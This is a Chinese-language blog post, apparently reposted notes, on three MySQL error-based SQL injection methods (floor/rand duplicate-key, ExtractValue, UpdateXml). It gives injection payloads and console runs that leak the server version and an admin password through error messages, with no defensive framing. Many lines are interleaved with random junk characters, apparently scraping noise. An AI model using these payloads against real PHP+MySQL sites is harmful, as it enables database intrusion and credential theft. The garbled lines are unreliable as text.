关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
* s2 {% A/ u1 Y​

" s  d" m* W* U+ X6 p6 umysql> show tables;
+----------------+
7 |  A6 Q+ t" M| Tables_in_test |
5 I& G. n2 Z2 ]- w# i+----------------+
| admin          |
7 N% i  s# p) i9 F1 [0 Z2 o* A| article        |
0 e' j, w" b1 J7 v+ m4 f# H+----------------+


8 b7 l% L! E1 \: `
mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
7 [6 l3 q  `$ a6 E4 d3 a| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
7 R( f- R7 x# j| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+

4 o  ~0 U- s/ ^; _6 d

mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
( J1 {1 O3 p0 C) J9 x" t# z& w& W| title   | varchar(50)      | NO   |     | NULL    |                |
| content | varchar(50)      | NO   |     | NULL    |                |
3 i. t" D+ k, c8 l0 F+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
" r4 `3 I9 d; e
  Y0 d* ~" q, R' F! l' d- U; a9 L
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
1 [, m! \9 [' v. t$ ^' @from information_schema.tables group by x)a);

3 l4 E- l  t$ t( f- L& i( M( }
and (select count(*) from (select 1 union select null union select !1)x
! K9 ]; I: o0 z$ y9 Xgroup by concat((select table_name from information_schema.tables limit 1),
, b& ~- G2 g: {' Efloor(rand(0)*2)));
5 B6 E; J% A: T举例如下：
首先进行正常查询：

mysql> select * from article where id = 1;
+----+-------+---------+
; f1 q& }: h6 `# ~: g8 X* T| id | title | content |
2 n* Q8 i9 @7 w( L+----+-------+---------+
% C6 I0 P% r3 }7 W; a|  1 | test  | do it   |
+----+-------+---------+
& T! |* Q5 f" M2 l$ `  q' L+ N3 R假如id输入存在注入的话，可以通过如下语句进行报错。


mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
Method1:
7 ]# s/ I- t8 o, V6 y4 t
  Y, q) D+ f$ L3 G. T
mysql> select * from article where id = 1 and (select 1 from
( r1 q# C% c( I' R(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
1 K" u# v- D; q7 gERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
/ N) Y' d# F6 Y4 _- {Method2:
8 R# \) x- P+ `/ \( X' [: C5 W4 Q

mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下
% c" j# o  Z2 @) L9 _

  |% B/ k5 d5 \' }" G$ o! U4 land extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程

/ A: e) d0 y; e" \
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
" V" ^+ e- ?7 Y( \  }( J3、UpdateXml
测试语句
3 u4 F8 g  v2 S

& R, x& Y  h2 B6 S. G/ Nand 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
, J+ s# c) G5 g& e" x# G) N9 h实际测试过程
' g* G/ v2 B- a1 D0 y4 p
0 T( x) [# Q& ]$ S5 I% Y
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
4 M9 O% O# E+ S8 F  L(select pass from admin limit 1),0x5e24),1));
% u2 ]0 q; ~: pERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

6 ?" r3 C" ^* g) _​
( M  B! I$ w1 c0 N, \3 y, K( \! X) V$ W